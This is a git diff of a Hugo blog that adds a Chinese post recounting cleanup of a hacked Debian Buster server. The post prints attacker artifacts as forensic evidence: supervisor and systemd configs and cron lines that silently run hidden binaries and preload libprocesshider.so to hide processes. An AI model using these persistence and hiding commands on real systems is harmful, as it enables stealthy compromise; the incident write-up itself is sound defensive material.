diff --git a/.drone.yml b/.drone.yml
deleted file mode 100644
index 5496988e..00000000
--- a/.drone.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-pipeline:
- build:
- image: felicianotech/docker-hugo:latest #cbrgm/drone-hugo:latest
- validate: true
- url: https://h.cowbay.org
diff --git a/config.toml b/config.toml
index a7657603..fb29c1fb 100644
--- a/config.toml
+++ b/config.toml
@@ -82,7 +82,7 @@ paginate = 5 #frontpage pagination
# Add a writer, then use it in the markdown front matter like this: writer = "Lukas Herman"
[params.writers]
- [params.writers."Eric Chang"]
+ [params.writers."Lukas Herman"]
link = "https://lherman.tk"
email = "lherman.cs@gmail.com"
bio = [
diff --git a/content/post/debian-buster-server-been-hacked.md b/content/post/debian-buster-server-been-hacked.md
new file mode 100644
index 00000000..ceec208a
--- /dev/null
+++ b/content/post/debian-buster-server-been-hacked.md
@@ -0,0 +1,171 @@
+---
+title: "[筆記] Debian Buster 伺服器被入侵了！/ Debian Buster Server Been Hacked"
+date: 2020-07-10T09:48:24+08:00
+categories: ['筆記']
+image: https://h.cowbay.org/images/post-default-14.jpg
+tags: ["debian"]
+author: "Eric Chang"
+---
+
+上禮拜某天在開會的時候，LINE不斷傳來訊息
+
+不過因為我向來開會都很認真(驕傲，所以都沒看，接著就變成來電了
+
+看來大概有啥事發生
+
+不過畢竟不是正職的工作，就先放著吧
+
+後來變成連學長都直接打來告訴我，某間公司的伺服器出事了，客戶找不到我
+
+叫我趕快連進去看
+
+是說，啊我又沒跟人家簽維護，趕什麼趕...
+
+總之，開完會後就了解一下狀況
+
+
+
+了解狀況後(user 也只說不能連線..WTF)，還是直接連進去看伺服器啥問題好了
+
+連線的過程就發現，主機回應有點慢
+
+不過還是可以連上，檢查一下ps / netstat 等等訊息，感覺就是有哪裡怪怪的
+
+進去etc 看一下，一下 ls -lart 就發現不對，畫面整個跑掉
+
+感覺就多了很多檔案
+
+所以先裝個file manager 來看(這樣才能避免ls 被駭客調包的情況)
+
+總之就發現了一些不正常的檔案
+
+/etc/.sh 等等族繁不及備載
+
+於是先去FW 把這台機器對外開放的port 先關掉
+
+然後開始紀錄邊清
+
+底下是一些記錄下來的log 很亂，因為是邊清邊紀錄的關係
+
+這是在某個特定日期時間被產生出來的檔案
+
+```bash
+/etc/allow.bak
+/etc/deny.bak
+/etc/fstab
+/etc/sysctl.conf
+/etc/gshadow
+/etc/fstab.bak
+/etc/subuid
+/etc/subgid
+/etc/.supervisor
+/sbin/https
+/swapfile
+/var/mail/root
+/var/lib/rkhunter/tmp/group
+/var/lib/rkhunter/tmp/passwd
+/var/lib/dpkg/info/python-meld3.list
+/var/backups/dpkg.status.1.gz
+/var/backups/shadow.bak
+/var/backups/group.bak
+/var/backups/dpkg.status.6.gz
+/var/backups/dpkg.status.3.gz
+/var/backups/dpkg.status.5.gz
+/var/backups/apt.extended_states.0
+/var/backups/dpkg.status.2.gz
+/var/backups/passwd.bak
+/var/backups/gshadow.bak
+/var/backups/dpkg.status.0
+/var/backups/dpkg.status.4.gz
+/var/log/wtmp.1
+/var/log/supervisor
+/var/log/dpkg.log.1
+/var/log/secure
+/var/log/apt/term.log.1.gz
+/var/log/apt/history.log.1.gz
+/usr/lib/systemd
+/usr/lib/mysql/mysql
+```
+
+/etc/.supervisor/conf.d/sh.conf
+
+```bash
+[program:.sh]
+directory=/etc/
+command=/bin/bash -c 'cp -f -r -- /etc/spts /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
+autostart=true
+autorestart=true
+startretries=999999999
+redirect_stderr=true
+pidfile=/etc/psdewo.pid
+stdout_logfile=/etc/usercenter_stdout
+```
+
+php.sh 這個忘了是在crontab 還是/etc/profile.d/底下看到的
+```
+#!/bin/bash
+cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
+/bin/.sh -c >/dev/null 2>&1
+rm -rf -- .sh 2>/dev/null
+```
+supervisor.sh
+```
+#!/bin/bash
+supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
+supervisorctl reload >/dev/null 2>&1
+```
+
+某個 service 檔案
+
+```
+[Unit]
+Description=.sh
+
+Wants=network.target
+After=syslog.target network-online.target
+
+[Service]
+Type=forking
+ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
+Restart=always
+KillMode=process
+
+[Install]
+WantedBy=multi-user.target
+```
+
+syslog 部份內容
+```
+Jul 7 06:20:01 pve CRON[12502]: (root) CMD (/sbin/httpss)
+Jul 7 06:20:01 pve CRON[12499]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+Jul 7 06:21:01 pve CRON[14096]: (root) CMD (/usr/lib/mysql/mysql)
+Jul 7 06:21:01 pve CRON[14095]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+Jul 7 06:21:01 pve CRON[14094]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
+Jul 7 06:22:01 pve CRON[15995]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+Jul 7 06:22:01 pve CRON[15994]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
+Jul 7 06:22:01 pve CRON[15996]: (root) CMD (/usr/lib/mysql/mysql)
+Jul 7 06:23:01 pve CRON[17708]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+Jul 7 06:23:01 pve CRON[17709]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
+Jul 7 06:23:01 pve CRON[17710]: (root) CMD (/usr/lib/mysql/mysql)
+Jul 7 06:24:01 pve CRON[19353]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
+Jul 7 06:24:01 pve CRON[19351]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+Jul 7 06:24:01 pve CRON[19352]: (root) CMD (/usr/lib/mysql/mysql)
+Jul 7 06:25:01 pve CRON[21289]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
+Jul 7 06:25:01 pve CRON[21290]: (root) CMD (/usr/lib/mysql/mysql)
+Jul 7 06:25:01 pve CRON[21288]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
+Jul 7 06:25:01 pve CRON[21291]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
+```
+
+比較特別的是，他會去修改 /etc/fstab 載入一個 swapfile
+
+WTF！？ 沒事載入自己的 fstab 做啥？？
+
+然後還會在系統建立user 可以看一下 /etc/passwd , /etc/group , /etc/gshadow 這些檔案檢查
+
+手邊最好有另一臺乾淨的同樣作業系統的機器
+
+因為有很多系統指令已經被替換掉(netstat/ss/lsof 等等)
+
+需要從乾淨的系統弄過來，或者是重新從apt 安裝回來
+
+
diff --git a/public/about/index.html b/public/about/index.html
index 418dc7d1..8218c9a8 100644
--- a/public/about/index.html
+++ b/public/about/index.html
@@ -45,9 +45,9 @@
-
+
-
+
@@ -603,7 +603,7 @@ title="pinterest icon">
-
+